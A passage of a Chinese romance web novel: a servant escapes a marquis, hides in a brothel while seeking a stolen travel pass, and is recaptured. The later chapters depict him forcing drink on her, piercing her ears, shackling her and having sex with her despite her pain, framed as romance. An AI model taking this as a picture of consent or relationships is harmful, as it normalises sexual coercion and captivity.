他不敢再耽搁,命人牵马回府。 茶博士不负宁泠的期望,带着一位房牙子过来。 房牙子穿着简单,一双眼睛带着浑浊,相貌普通:“听说郎君要租一套宅子?” 宁泠看了眼茶博士,她本意租个小点的地方,一来省钱,二来不打眼。 但估计茶博士怕生意小,房牙子不愿往夸大了说。 “我的要求,茶博士应该和你说了。”宁泠道。 房牙子:“我手上倒是有一套合适,能用在下的名字做担保。只看郎君愿不愿意出价了。” 宁泠:“自然要先去看看,再来报价。” 房牙子和茶博士带着宁泠去了花街附近的一套小宅子,此地离花街甚近,吵闹得很。估计是因此才迟迟没人愿租。 最终宁泠以一百两银子包含押金,租下了半年的租期。 她给了茶博士五两银子当做酬谢,茶博士离别时还热情:“以后郎君有甚需求找我就成。” 宁泠心里肉疼得很,其实这宅子正常来租估计一年也就五十两。 但为了不暴露户籍,只有暂时这样了。 晋阳侯府,裴铉静静聆听着林韦德的汇报。 林韦德急得满头大汗,他本以为裴铉会暴怒。 “跑了抓回来就是。”但他似乎不甚在意,“你去打一副脚铐链子,要精致轻巧。” 她既然爱跑,那以后就将她锁在榻边,看她还怎么逃。 第30章 第30章【VIP】 不过宁泠逃跑的时机倒是挑选的很好,最近他还在为查验盛安城内资产而伤脑筋,如今是瞌睡来了有人送枕头。 “她买了两身男装?”裴铉问道。 “月牙白和深蓝色的普通成衣。”林韦德答道。 这两身衣袍的颜色在大街上随处可见,又是店铺里卖的成衣,花色款式很常见。 “你带一路人去码头车行找,重点为个子娇小、孤身一人的男子。”裴铉接着命令,“再叫上张川一行人去搜查房屋住宅户籍。” 林韦德面色迟疑:“爷,动静会不会弄得太大了?” 去查资产和户籍,岂不是谁家有多少店面铺子住宅瞬间都清清楚楚?盛安城在天子脚下,各方势力暗流涌动,牵一发而动全身。 这种行为明显会得罪很多人,下次早朝必定会被弹劾。 裴铉不屑地笑笑,新皇既然想要他做出实事、解决国库空虚的问题。那必然要有抗住文武百官的能力,不然指望他拿晋阳侯府的家产去填? 连区区弹劾都压不下来,还有本事去抄家? “按我说的做就是。”裴铉懒得多说,心里琢磨着待抓获宁泠后怎么收拾她?她向来胆大包天,不彻底断了她的念想,估计以后的小把戏也不少。 宁泠简单收拾了小宅,在外面杂货铺买了被子等杂物,还买了些木炭。 冬天寒风刺骨、天寒地冻的,若是不取暖,估计她一整晚都睡不好。 付完银子后,宁泠欲提着木炭往回走,老板是个热心人问道:“不知公子住哪,不若我让仆人帮拿过去。” 他看着这位公子手不能提,肩不能杠的模样,实在忧心。 宁泠连忙道谢,指着巷子回答:“住在巷子里第二家,谢谢你了。” “巷子里第二家?”老板停顿了一下,“看来公子是新入住的,我以前与他们相熟,第一家也是今日才入住的。” 宁泠本想向老板打听一下,附近码头车行的事情,又觉得刚入住就着急离开,实在是有点奇怪,怕给人留下太深刻印象,暴露行踪。 晚饭宁泠随意找了家食肆买了些吃食,食肆里的生意一般。 她与老板闲聊:“大哥,可知晓码头在那?” 埋头盛饭的老板还没说话,旁边的老板娘先开口了:“在城西边上呢,你若想去哪儿,还要先找附近的车马行去租马车,不然靠你一双腿走过去,怕要走到明日了。” 老板娘笑嘻嘻,又看了眼宁泠:“小哥口音听着不像外地啊。” “在下读书多年,毫无长进。”宁泠面露惭愧,“打算远游,长长见识。” 老板娘见他老实单纯的模样,又叮嘱道:“那你可去长标车行,我每次要用马车都去哪儿,物美价廉。” 宁泠继续问道:“那姐姐可知码头一日有几次船,到哪儿?” 老板娘摇摇头,将吃食装入食盒道:“我们不曾出过远门,具体的也不清楚。” 宁泠接过食盒:“待会我送来。” 老板娘笑着说:“不着急,天寒地冻的,公子明日来还食盒也成。” 宁泠点点头,回了小宅子。 当初她选择这宅子的另外一个重要原因,就是有个后门。 后门就在一家青楼对面斜角,那家花楼生意很好,里面喝酒唱传出的声音很是热闹。 宁泠一个人点燃蜡烛,在昏暗的烛火下吃着晚饭。 她不敢在外面抛头露面,害怕被人盯上。 以裴铉的性子,她就这么直接了当地跑了,他必当不会善罢甘休。 现在码头车行都知晓了,下一个问题就是该考虑去哪。 最好是人多安稳的地方,她独身一人,万万不可去穷山恶水,偏僻之地。 目前最重要的是路引,正常情况下要去何地,都要先去官府办路引,有路引才能进城。 但租房所用的户籍都能用他人的,那路引也能。 吃完饭洗漱后,忙碌了一天的宁泠灭了烛火睡觉。 争晖远内灯火通明,满院子的人都跪在门外。 裴铉身姿松懒地倚在靠背上闭目养神,林韦德最先回来。 “今日的乘船的人已经查过了,没有宁姑娘的身影。”林韦德说道。 这个结果在裴铉的意料之中,没有路引,刚出了府邸,外面一切都还不熟悉。 她没那个能耐马上逃了。 张川的消息很快传了回来,他已先将城内的客栈全部排查了一边,上面没有宁泠登记入住的信息。 当然他也趁此机会,将客栈的房契全部查看了一番。 果然有忠国公家的产业,但数量不多。 “开客栈能赚多少银子?”裴铉冷笑,给林韦德解惑,“他忠国公的野心大着呢。” “继续查。”裴铉眼眸深邃,“去查租借价格在五百两内的宅院,她手里的银子也就一千多两,不可能在上面耗费太多。她既然不住客栈,多半也是用他人之名签订房契,就查今日的。” 林韦德点点头,“各处路引登记地是否也查看?” 裴铉轻笑摇摇头:“她没那么蠢,去查查办假路引的。” 没想到她还有点本事,现在还没一点踪迹。 到了第二日,宁泠早早起床将昨日的食盒归还,又思考着去那弄路引。 她打算去附近的其他茶馆找茶博士帮忙,最好多找几个。 鸡蛋不能全部放在一个篮子的道理,她还是懂。 下午宁泠有些垂头丧气地坐在木凳上,跑了一下午。 路引这件事还没一点着落,不过她也知道此事不好办,不然也不会租半年的房子。 其实不用路引,靠着她的户籍也能外出,但是她觉得风险太大。 咚咚咚,隔壁院门传来巨大的敲门声。 吓得宁泠浑身一颤,猛地站起来,心砰怦怦怦跳得飞快。 外面传来大娘不满的声音:“来了,来了,急着投胎啊。” 接着她说话的声音 戛然而止,语气客气讨好:“官爷好,不知有何事啊?” “我们奉命来清查住户。”官爷说话严肃,“快将你的房契、户籍拿来。” 那大娘唯唯诺诺答是。 宁泠心忽地一紧,她预感此事和裴铉脱不了干系。 “那官爷慢走啊。”大娘的声音继续传来,约莫已经查验完了。 隐隐约约有走向宁泠门口的脚步声。 宁泠不敢去赌,转身直奔后门。 她小跑至后门,随意找了家食肆进门。 视线却注意着小宅的动静,见一个身穿官服的衙役没多久就跟着从后门出来。 他在街道转了转,似乎想揪出人。 但是花街人来人往,他不知长相,只能面色恼怒地离去了。 宁泠从食肆坐到天黑,直到小二前来提醒:“公子,我们要打烊了。” 她从食肆离开,满心忧愁。 她花了一大笔银子才住了一夜,可她又不敢回去。 她有预感那宅子必定已处在监视之下,就等着守株待兔。 可宁泠又不敢去客栈,莫非今夜要露宿街头了? 在街道上徘徊的宁泠被冻得面色发白,手脚冰凉。 花街的晴娘站在街道边揽客,一见宁泠双眼放光:“公子外面冷,快进屋来玩呀。” 她柔软的身子依靠在宁泠身上,胸脯熟练地挤向他。 宁泠大惊失色,连忙想躲开。 晴娘怎会放过他,水蛇似的腰缠上他:“进来嘛,咱们春宵一度,公子再美美睡上一觉,岂不快战?” 宁泠心思微动,既然客栈宅子都回不去,总不能等着睡大街被冻死。 她放松身体,不再挣扎。 小娘子会心一笑,将他拉进了楼内。 花楼内红绸帷幔遮掩,正中央有着一个莲花台,莲花台附近水雾氤氲,仙气飘飘。 一个女子穿着暴露,肩膀小腿赤、裸在外,在台上跳着舞,舞姿摇曳。 里面有许多碳炉,宁泠一进来就觉得缓和惬意。 被冻僵的手脚缓了缓,她对小娘子说道:“来个包厢。” 晴娘心神意会,带着他去了二楼的一间客房。 接着她就开始扒宁泠的衣服,宁泠红着脸呵斥道:“不准动手动脚。” 晴娘不满地瘪瘪嘴,来了花楼还装什么清高。 宁泠咳嗽几声:“可会什么才艺?” 晴娘柔声:“唱曲,跳舞都会,公子喜欢什么?” “那就唱曲吧,就唱你拿手的。”宁泠随意说道,来了花楼,什么不做难免惹人怀疑。 清脆悦耳的声音传来,宁泠赞赏了几句。 “公子,您才高八斗,不若帮奴谱曲?”晴娘娇俏求道。 以往不少读书人为她们作曲,若是运气好,说不定一举成为花魁。 宁泠十分惭愧,她披着一副读书人的皮,实则连字都认不全。 “你在这儿南来北往的人见得多了,可听说哪处繁华热闹?”宁泠打探消息。 晴娘被拒绝了也不恼,笑吟吟道:“要说繁华之地,那必是江南了,妾身上穿着衣裙都是江南产的呢。” 宁泠熟稔地抛出一块碎银,晴娘眉开眼笑。 “小娘子在这消息灵通,想来也认识不少达官贵人吧?” “公子可是想打探些什么消息?”晴娘追问道。 “非也、非也。”宁泠摇摇头,忧心忡忡:“我家为我定下一门亲事,那是个母夜叉,日日劝着我读书上进。” 晴娘联系之前的对话问道:“公子,可是想去江南躲一躲?” “我倒是想躲,可家里人盯得紧呐。”宁泠神情绝望,“恐怕我前脚出门,他们后脚就跟着路引追过来了。” 晴娘懂了:“公子是想要一份假路引?” “花楼人买醉酣睡的人不少。”宁泠附耳道,“你去找个和我身形容貌相似的人,弄来他的路引。” 假路引有危险,还是真的最好。 虽然路引上有地名,估计不是她想去的江南。 可眼下燃眉之急是先离开盛安城。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第31章【VIP】 晴娘愣了愣,还真没想到这个办法。 又笑嘻嘻问道:“此事可是有极大风险呢,一不小心妾身就被打死了。” 宁泠知道她夸大其词,路引比不上金银之物值钱,只是手续麻烦。 “这是定金。”宁泠大手笔地扔下一根金簪,“若是事成,再给你二十两。” 银子花的太快了,宁泠要节约些。 盛安城的当铺,她不敢去。 不过晴娘久居此事,金簪又是常见之物,刚好合适。 晴娘笑眯眯地拿着金簪出去了。 夜深了,宁泠将门栓好,她还不放心费力地搬来一站木桌,死死抵住门内,窗户也检查关好。 花楼里暖如春日、香气扑鼻,哪里都好。 唯一不好之处就是隔壁暧昧的娇声,时不时传来。 “爷,妾身伺候得好不好?”女子娇滴滴的嗓音传来。 男子喘着粗气:“许久没见,你倒是越**荡了。” “那爷想不想我?” 木床嘎嘎作响的声音加大,男子大声道:“想你得很,好好伺候爷,若伺候地舒坦了,以后爷给你赎身,清清白白抬你进门做妾。” 女子的呻。吟声更大,极大地取悦了男子。 听得宁泠面红耳赤,到了后半夜才熬不过睡意,昏昏沉沉睡去。 争晖院内,林韦德神色紧张:“侯爷,还是没有宁姑娘的消息。” 盛安城内都快被翻个顶朝天了,偏偏半点消息都没。 他都怀疑她是不是跑出盛京了? “没查出来的宅子都派人守着了?”裴铉的眉心拧了几分,“城内但凡能住店的酒肆、茶楼、酒楼等等都通通去查,还有哪些暗探桩子也该用用了。” 他掘地三尺,还不信找不出来了。 林韦德点点头,带着人马又离开了。 酒楼里常常有不少富家子弟,通宵旦达地谈天论地。 宁泠这一觉睡得很沉,直至晌午才悠悠转转地醒来。 她听见外面有不少响动,起身挪开木桌打开门。 外面一位花娘嘤嘤地哭着,旁边几个花娘围成团似乎正在安慰她。 “男人床笫上的鬼话,你也信?”一个花娘似乎怒其不争。 “我怎么知道。”那个花娘哭得更厉害了,“昨儿他还说给我赎身,以后抬我做妾呢。谁知道今日一起来,将我身上的现银和首饰都偷走了。” 其他花娘在那劝道:“说给咱们赎身的男人,一日不知遇见多少个。你年纪小,被人哄骗也是正常,以后值钱的物件自己可要注意了。” “就是,哪些臭男人怎么看得上咱们,我们出身卑贱,他们就是图咱们身子。” 她们的声音引来老鸨,老鸨担心吵醒客人,将她们驱散。 一些恩客们醒了开始叫吃食,宁泠跟着喊了吃食。 饭菜上桌吃饱后,宁泠有心想要找晴娘,询问结果。 不过她觉得此事估计要徐徐图之,恐怕没那么容易得手。 她百无聊赖地在房间里待着。 到了快晚饭时辰,林韦德匆匆忙忙赶来,脸色不太好看。 裴铉不紧不慢地瞥了眼他:“有消息了?” “是。”林韦德面色难看,“在怡红楼里,探子来报说,有个身材瘦弱,皮肤白皙的斯文书生昨晚进楼,还出主意花重金让她们偷路引。” 一听着描述,裴铉就肯定是宁泠。 这还真是意料之外,他还真没想到她吃了熊心豹子胆,敢独身一人去青楼楚馆。 “怡红楼背后主子是谁?”裴铉问道。 “忠国公。”林韦德答。 裴铉冷笑一声,难怪被查出来了。 他那好叔父可是最喜欢赠妾,搞这些莺莺燕燕打探消息。 他自然要半路劫道,坐享其成。 所以他也安了不少探子在忠国公身边打探消息,怪只怪宁泠运气不好,要是躲进了其他秦楼,一时半会他还真想不到哪儿去。 眼看到了用饭时辰,裴铉站起身理理衣角的皱褶,朝着门外迈步。 林韦德紧跟而上,知道侯爷要去接宁姑娘了。 冬 季的初雪,飘飘洒洒从天空落下,先是点点雪花,接着是鹅毛大雪。 房间内无聊的宁泠,终于等到晴娘,她问道:“可有了消息?” 晴娘摇摇头:“郎君,哪有那般凑巧的事情。你放心,我让我身边的小姐妹一起帮忙,估计也就这几日。” 宁泠怕她又来扒她衣服,干脆出了房间,趴在楼道的栏杆上。 俯视着楼下莲台跳舞的花魁,外面时不时有客人进来。 屋外的寒风趁机跑进了屋内,洁白无瑕的雪也跟着进来。 宁泠看着外面的落雪,已经在街道上铺满一层,甚是好看。 她收回眼,接着看花魁妖娆多姿的舞步。 又是一阵寒风吹了进来,靠近门口坐着的门破口大骂:“他娘的,是谁开门这么大?” 大家伙谁进来,都是开一道门缝挤进来。 众人抬头一看,来人气宇轩昂,英俊潇洒。 五官立体,在昏黄的烛火下,更显得线条利落,轮廓分明。 进来后,裴铉抬起眼皮子睨了眼那男子,林韦德大步向前,直接一脚将那人踹翻倒地。 宁泠站在二楼,将眼下发生的一切尽收眼底。 浑身如同坠入冰窖,全身颤抖。 他找到她了! 宁泠脑袋如同浆糊一般混乱,她第一个反应就是逃,跑得越远越好。 裴铉似有心灵感应般,抬头一看,正对上宁泠惊恐的视线。 他好整以暇地歪头一笑,接着悠哉悠哉地拾阶而上。 宁泠匆忙地环顾四周想跑,可看见四面都是穿着晋阳侯府衣裳的侍卫。 她明明是坐在上位,居高临下的,但裴铉才是一副从容不迫的上位者姿态。 宁泠吓得手指并拢,紧紧抓住衣角。 裴铉一步步,一步步像她靠近。 众人噤若寒蝉,一看这架势就知道是贵人,不少人偷偷摸摸地跑了,怕惹麻烦上身。 宁泠吓得面色惨白,呼吸急促。 她站在二楼,身姿单薄,穿着一身深蓝色衣袍,瞧着像个娇蛮的富家少爷。 别有一番风情,裴铉问她:“这三天玩得可开心?” 宁泠唇线紧抿,心里苦涩。 裴铉抬眼眉眼带笑:“称心如意地逃出来了,这么还顶着一张苦瓜脸呢?” 宁泠心存侥幸问道:“侯爷真不愿放我一马?” 下面的人巴头探脑,有心偷听。 林韦德抽出大刀一挥,吓得众人惊慌而逃。 “你说这话,可就是倒打一耙了。”裴铉高大的身影笼罩着她,“明明是你欺骗在先,怎又成我的不是了。” 宁泠又惊又怕,她不知待她回去,裴铉会用什么丧心病狂的手段折磨她。 她紧缩深眉,眼神黯淡。 “现在哭还早了。”裴铉神情莫测,“回去有你哭的时候。” 他的手攥着她纤细的手腕,似乎要将她的骨头捏碎。 宁泠紧紧扒着栏杆,如同溺水的人抓住救命稻草,不肯松手:“我不回去。” 语气慷锵有力,看来是铁了心。 裴铉矜贵俊朗的脸阴沉,似笑非笑:“还是真硬骨头,敬酒不吃吃罚酒。” 话一说完,直接将人扛到肩头。 宁泠顿时感觉天旋地转,头晕想吐。 裴铉带着她随意踹开一间客房,接着扔在塌上,居高临下地俯视着她。 宁泠害怕得瑟瑟发抖,他似乎将她视为猎物般,要将她拆骨入腹才肯善罢甘休。 她连滚带爬地躲在床角,一双泪眼楚楚可怜地乞求着他。 “现在知道怕了?”裴铉并不掩饰眼眸里的色。欲。 宁泠环视着四周环境,想着昨晚不堪入耳的靡靡之音。 她带着哭音道:“侯爷,我们先回去,成吗?” 再怎么样,也不能在这床榻上。 “又想回去了?”裴铉扣住她的肩膀,“宁泠这张嘴,可真爱东诳西骗,不若我给你下一剂哑药,以后就清净了。” 宁泠害怕地抱住他,哭得泪眼婆娑:“我知道错了,我再也不敢了。” 裴铉心满意足地享受着她娇娇软软的身子,无意间嗅到花楼里浓妆艳抹的俗气。 他顺着她的怀抱,将她一把抱起。 厚实柔软的斗篷搭在她身上,接着向屋外走出,哪些胭脂味须得好好洗洗。 外面天寒雪大,宁泠一出门就被冻得在他怀里颤了下。 “你瞧外面冰天雪地的。”裴铉声音悦耳,还带着笑意,“还劳累我出门一趟,你倒好,躲在里面看歌舞。” 宁泠心里不爽,难道是她强迫他来的? 他在府邸好好待着,她在花楼也好好的,大家都舒服,不就好了。 可是宁泠不敢说出来,怕惹毛了他,在她怀里瓮声瓮气认错:“是宁泠不对,害的侯爷不得安宁。” 这句话听得还顺耳,裴铉追问道:“那你如何补偿我呢?” 宁泠心知回去身子清白必然保不住了,眼下只有低头服软,以后的日子才能好过点。 留得青山在不怕没柴烧。 她乖巧回话:“回去后,任凭侯爷处置。” 裴铉将她拥在身前,骑马回去。 宁泠看着越来越近的侯府,心里叹气。 外面风雪呼啸,怀里的宁泠心情沉重。 回了争晖院,裴铉就颇为嫌弃地将她扔在软榻上,命人伺候她沐浴。 珍珠见她回来喜极而泣,伺候她沐浴。 烟雾缭绕的浴室内,浴桶内铺满绚丽芬芳的花瓣。 看着腰细腿长,肌肤皓白如雪的宁泠,珍珠劝道:“姐姐,以后莫要如此了。” 侯爷的脾性古怪,谁也不知道他下一刻会干什么。 宁泠叹了声气:“下去吧,我自己洗洗。” 珍珠听话懂事,点点头出去了。 宁泠泡在温热的浴桶内,希望时间能够在这一刻永恒,她不想出去面对裴铉。 裴铉沐浴更衣出来后,发现宁泠还未出来。 他并不觉得奇怪,直接朝着浴室走来。 见到她洁白漂亮的脊背,完美无瑕,只是太瘦了,有些孱弱。 “还没泡够?”裴铉的指尖探进水里,“想再感染风寒?” 以为故技重施,就能躲过今天? 宁泠见她眼神危险,声线带着颤抖:“好了,我现在就起来穿衣。” “嗯。”不咸不淡的一声,人却依旧伫立在浴桶旁边。 宁泠心知今日躲不过了,贝齿将唇瓣咬的殷红。 哗啦的水声响起,水花四溅,宁泠站起身来,擦干披衣袍。 她清楚看见裴铉的眼神霎那间变了,眼眸深邃,压迫感十足。 裴铉并不着急,他有一整夜的时间,慢慢品味而不是狼吞虎咽。 穿好衣裙的宁泠,跟着他进了内室,红木桌上端正摆着一壶酒。 “酒回来了,你人却没回来。”裴铉指着酒,“你可是说了,我们要共饮此杯。” 宁泠刚想认错,忽地失去平衡,被他拉扯跌坐于他腿上。 裴铉慢饮一杯酒,接着捏着她小巧的下巴,吻了上去,长驱直入,甚是霸道。 第32章 第32章【VIP】 宁泠不曾饮过酒,被桂花酒的辛辣呛得直咳嗽,喉咙顿感火辣辣。 她无力地伏在他肩膀上,咳嗽过后,娇喘不停。 裴铉并不打算轻易放过她,待她稍稍呼吸平复后,又饮下一口酒。 温热的舌尖与冰凉的酒水紧紧缠住宁泠软软的香舌,桂花的甜腻萦绕口腔。 她想要反抗,双手四处乱抓。 裴铉一只有力的大手锁住她的双手,将她扣在背后,迫使着她挺腰抬胸。 另外一只手强势地扣住她的后脑勺,不许她有任何地退路。 如此反复几次,宁泠终于被迫饮尽此杯。 她不胜酒力,桃腮粉嫩,全身如玉的肌肤都染上一层樱花的粉色。 水润晕染在她鲜红的唇瓣,蛊惑人心。 她眼尾绯红,盈盈秋水的眼眸可怜兮兮地望着他。 “又开始装可怜 ?“裴铉的嗓音低沉。 “我真的再也不敢了。”宁泠乖顺答道:“其实我出去就后悔了。” 裴铉懒笑一声,“哦?那怎么还去花楼?” 哪里可是裴老狗的地盘,她还真是心大,不怕被人吃的骨头都没了。 “我想着回来,侯爷定会大发雷霆,吓得不敢回来。”宁泠道。 “你既害怕,看来是知道错了。”裴铉打开桌子上一个精致的木匣子,“你瞧可好看?” 宁泠侧目一看,花容失色。 木匣子里整整齐齐摆放着一对耳坠,上面是金丝编制,巧夺天工,下面坠着一颗炫目多姿的红宝石。 “宁泠,你怎么总是不长记性呢?”裴铉拿起一只耳坠,“耳眼刚愈合,你就好了伤疤忘了疼。” 他空出另外一只手,拿起银针,在上面浇上桂花酒,放在摇曳的烛火上炙烤 宁泠吓得想逃跑,裴铉早有察觉:“你若是敢跑,我就打断你的腿,反正侯府家大业大,养一个闲人不成问题。” 他俊脸笑着说出这话,宁泠却认为他真能做出来,倏地僵住,不敢动弹。 裴铉见她听话,眉眼都染上笑意。 她跑了,他心里怎么可能没有一点恼意。 尤其在听说她胆大包天,敢跑出花楼夜宿的时候,眼下不狠下心收拾她,以后还不知道怎么肆意妄为。 经历过一次穿耳后,裴铉已经很得心应手。 熟稔地捏着她小巧玲珑的耳坠,快速地穿过。 宁泠只感觉到像是蚂蚁啃咬的点点刺疼,接着重物一沉挂在她耳垂的感觉。 她忐忑不安地用手紧紧抓着他胸前的衣襟,裴铉看着她全心全意依赖他的模样,哄道:“不疼。” 其实疼痛感并不明显,可裴铉给她带来的侵略感极大,她本能地害怕畏惧。 另一只耳眼也很快穿好,一对夺目艳丽的耳坠挂在她耳垂上。 妖异的红色衬得她千娇百媚,云鬓花容。 裴铉直勾勾的危险眼神盯着她,宁泠不敢抬眼垂眸。 映入眼帘的是她曾见过的庞然大物,她惊恐、难以置信地看着裴铉。 不知它何时变成这样。 裴铉将跨。坐在他腿上的宁泠,搂腰抱起,她笔直的长腿缠在他劲道有力的腰上。 回到了床榻上,裴铉又拿起搁置在床位的银脚铐:“好看吗?” 宁泠吓得头皮发麻,吴侬软语撒娇:“这东西真吓人。” 裴铉不置可否,直接抓住她藏在裙下的脚踝,纤细光滑的脚踝很美。 “放心,你带上一定很美。”裴铉手指摸索着她的皮肤,接着带上脚铐。 脚铐通身是银制成,颜色淡雅,不知是用了什么特殊的工艺,宁泠带着却不觉得笨重,上面还精心雕刻了不少花纹,随着她动作,小巧的银链子碰撞间还会发出悦耳清脆的声音。 宁泠内心屈辱,他这般行为,和村庄里栓着守家的狗有甚区别? 她气的眼里泪光点点,桃腮鼓鼓。 “生气了?”裴铉揉揉她毛茸茸的脑袋。 他不嫌弃她已失清白,倒是她还嫌弃自己,逃之夭夭,如见洪水猛兽。 裴铉一摸自己,宁泠觉得她更像是没有尊严的狗了。 眼里蓄满的泪水决堤,哭的梨花带雨,好不可怜。 裴铉珍贵地捧起她的脸颊轻吻,他密密麻麻的吻落在她漂亮的脸庞,接着是唇畔,一路向下,甜腻的酒气冲的宁泠头脑发昏。 他强势惯了,柔情蜜水也只是片刻功夫。 不过将将安抚了他片刻,便长驱直入,直捣黄龙。 宁泠疼的汗水浸湿额间的碎发,拧眉嘤咛道:“慢些好不好,疼。” 隐隐约约的哭泣声传来,她不好受,裴铉也不好受。 他忍的额头冒汗,手背上青筋暴起,还是一鼓作气,长痛不如短痛。 宁泠痛到指甲紧紧掐在他肩上,裴铉感觉似乎冲破一层薄薄的阻碍。 他感觉不对劲地撤出一看,丝丝缕缕地鲜血沾染在上面。 空气也似有似无地有着血腥味。 他看着疼着蜷缩在床的宁泠,他记得她的葵水不是这几日。 一个念头瞬间闪现脑海中,她又骗他了。 但没有以往的勃然大怒,他欣喜若狂地将她抱在怀里,拨开遮住她眼眸的碎发。 “小骗子。”他嘴上温柔,身下却所向披靡。银链的撞击声响彻内室,叮叮当当地开始奏乐。 宁泠被他折腾到泣不成声、语不成调:“侯爷,你、你能不能把链子解开?” 听见这声侯爷,他不悦地长身一挺:“叫声裴哥哥,我就解开。” 宁泠难受地闷哼一声,难为情得别开脸。 可架不住他卖力折腾,最后还是断断续续娇声道:“裴、裴哥哥。” 裴铉看着乖顺的她,依言解开了脚铐。 裴铉折腾到后半夜,看着脱力虚弱的她,还是克制了自己。 风寒刚好,又在外奔波,他怕伤了根本。 他拉拽着床幔边上的红线,屋外的铃铛声响起。 外面的人早已准备妥当,热水花瓣等物一应齐全。 裴铉刚想叫珍珠进来,搀扶宁泠去沐浴。 就听见她嗓音沙哑:“我自己去。” 裴铉挑眉,怀疑般地上下打量她全身:“你能行?” 宁泠脸红地点点头,她浑身上下,尤其是锁骨、腰肢处都是他留下的痕迹,怎么见人? “害羞?”裴铉见她面红耳赤,逗弄道:“这有什么?丫鬟伺候着主子同。房都是常事。” 刚才她身子孱弱,屡屡无力趴。下,还是他拉着她。 他意有所指,宁泠懂他意思,还是拒绝:“不行了,我自己能行。” 她又算哪门子主子呢? 裴铉看着她犟劲又上头了,懒得和她争吵,不然她说不定又死活哭闹着要去浣衣局。 宁泠躺在床上缓了缓,接着起身,顿感全身酸软,腰肢无力。 她披了一件外衣下床,双腿一软,差点跪坐在地上,幸好及时扶住了床柱子。 裴铉双手抱胸,长腿交叠,面带冷笑倚靠在床背上看着她。 刚才娇娇柔柔,多听话乖巧,现在又是一身反骨了。 宁泠坐在浴桶里,看着自己满身的印记,这些都还好。 但身下的刺痛感却是时不时地传来。 不知是痛得,还是被抓后难过,宁泠一边洗澡,一边哭着。 她小声哭泣,捂住嘴唇,生怕惹来裴铉。他看见了估计又要想法子,折磨她。 片刻后,她哭的眼睛红肿,她止住哭泣。 她怕待久了裴铉又来寻她,起身系好衣裙。 宁泠也不敢再回内室,她实在是怕了裴铉的那东西。 她一个人偷偷摸摸地回了自己的偏房,倒头就睡。 裴铉在床塌上等了许久,都没见人影,起身去看她,发现浴室内没有她的身影。 猜测她已经回了偏房,冷哼一声回了屋。 他一人躺在榻上,总觉得少了什么,似乎是少了那清香可人的橘子味,又脑海里忽地想到刚才她里面的炙热湿润,只这一瞬间的念头,他就有了反应。 连忙止住念头,想着后日早朝,早儿先进宫和皇帝通个气。 翌日清晨,皇宫阔气的书房内,只裴铉和新皇两人。 “听闻堂兄,为了美人怒发冲冠,闯进了叔父的产业捣乱,他老人家可是昨儿连夜来求朕主持公道。”新皇笑着视线落在裴铉面上,“堂兄,可不像是色令智昏的人。” 裴铉神色恭敬:“做事总要事出有因,要找个筏子。微臣已经清查了盛安城内的各官员资产,不少人资产颇盛且来路不明,若是” 接下来他的话止住,两人都心照不宣。 宣帝爽朗一笑:“堂兄能力不容小觑啊,短短时间就能有所为了。” “还是要多谢陛下在前朝为臣挡住压力。”裴铉似乎面色苦恼,“这是接下来怎么做,却有些棘手了。” 要想获得宣帝的信任和重用,若没有本事能力,他看不上一个废物。 可若是什么都会,什么 都比他这个皇帝想得还周全,那就太引人忌惮了,适当的藏拙是关键。 “近来进贡的贡品,无论是数量还是品质,都是一年不如一年了。”宣帝面色不虞,“甚至皇宫里没有的好东西,外面官员倒是私藏不少。” 自古以来,什么珍贵稀少之物,都是皇室独有。 他一个皇上没有,下面的官员倒是个个富得流油,也太不将他放在眼里了,刚好杀鸡儆猴。 裴铉沉思片刻后答道:“昨儿清查时,发现几家拍卖行行事鬼祟,说不定有猫腻。” 宣帝拍拍裴铉的肩膀:“你放心去查。” “是。”裴铉道。 想到刚才说的色令智昏,裴铉无奈一笑。他还真是有点,昨儿忙着玩乐,忘记和宁泠算账了。 他送她的金簪首饰等等,倒是大方慷慨地给妓。女。 小丫头还品性德行不好,教唆他人去偷路引。 第33章 第33章【VIP】 裴铉回了争晖院后,没见到人,他眉眼不耐烦地扫了一眼紫叶。 紫叶知他心中所想:“宁姑娘还未起,奴婢是否现在去伺候她洗漱?” 昨儿她精疲力尽,白日也无甚事情。 裴铉:“不必,让你挑选贴身丫鬟,可办妥了?” “奴婢还在挑选。”紫叶猜测他有话要说,接着问道:“侯爷,是否有指示?” 自乐絮被处置,宁泠如今又成了通房,珍珠被派去伺候宁泠,侍女人数就不够了,需要补上三人。 “只一条要求,老实憨厚。”裴铉冷哼一声,“什么花里胡哨,乱七八糟的再送到本侯身边,休怪本侯翻脸无情了。” 紫叶跪伏在地:“是。” 上次乐絮就是王管家精心挑选的,是人就有私心。 他瞧着宁泠得了侯爷欢心,内心也蠢蠢欲动,想安排一个自己人。 那知乐絮惹来侯爷厌弃,连带着王管家自己也挨了板子。 侯爷这是在警告自己,别像王管家使小心思。 宁泠疲惫不堪,一觉昏昏沉沉睡到了快晌午还未起。 裴铉坐在她塌边,看着她杏腮桃脸,他坏心思地用指尖轻轻戳了戳她柔软的脸蛋。 她脸颊的肉很柔软,睡着的她乖巧可爱,青丝如瀑布散落在身旁。 嘴唇红嘟嘟的,见她毫无反应,他不死心,又使了点力气戳了戳。 他清楚地看见她浓密的睫毛颤了颤,显然酣睡的人已经醒了。 又开始和他玩小心思,在装睡。 裴铉习以为常,他拿出林韦德带回的金簪,手指把着金簪尖锐锋利的一端,另一端精致奢华的玫瑰花,轻轻拍打着宁泠的脸。 金属冰凉的触感猛地惊醒了宁泠,她吓得从床上起身,心有余悸地看着那坚硬的玫瑰花金簪。 “怎么?”裴铉将金簪绕在手指翻转,“以为我要用它在你脸上刻花?” 宁泠努力不着痕迹地向后挪,想要拉开与裴铉的距离。 “昨儿忘了和你算账了。”裴铉对她温柔的笑笑,“我送你的东西,你瞧瞧不是卖给这个丫鬟,就是给那个妓女。” 裴铉笑得瘆人,嘴唇上扬,眉眼却是阴霾。 宁泠吓得吞咽口水,却想不出怎么解释,才能让他饶了她。 裴铉似乎自顾自继续说道:“你还教唆人去偷路引?” 那双幽深深邃的眼眸直直盯着宁泠。 宁泠的脚连带着整个身子,都小心翼翼地往后腿。 却被他一把拽住脚踝,他带着一层薄薄茧子的指腹,慢慢摸索着她的肌肤。 他慢条斯理继续说:“一会要给弟弟缝衣服,一会又是个怕家里的母夜叉,你这张嘴可真会诓人呢。” 连他也时常被她诓骗,中了她的计。 她嘴里那个母夜叉,多半说得就是他,穷追不舍,凶神恶煞。 宁泠被他摸的毛骨悚然,回想起昨夜的骇人事情,嗓音低柔:“昨夜侯爷不是惩罚奴婢了吗?” 不带这么欺负人,昨夜才清清楚楚,明明白白惩罚了她。 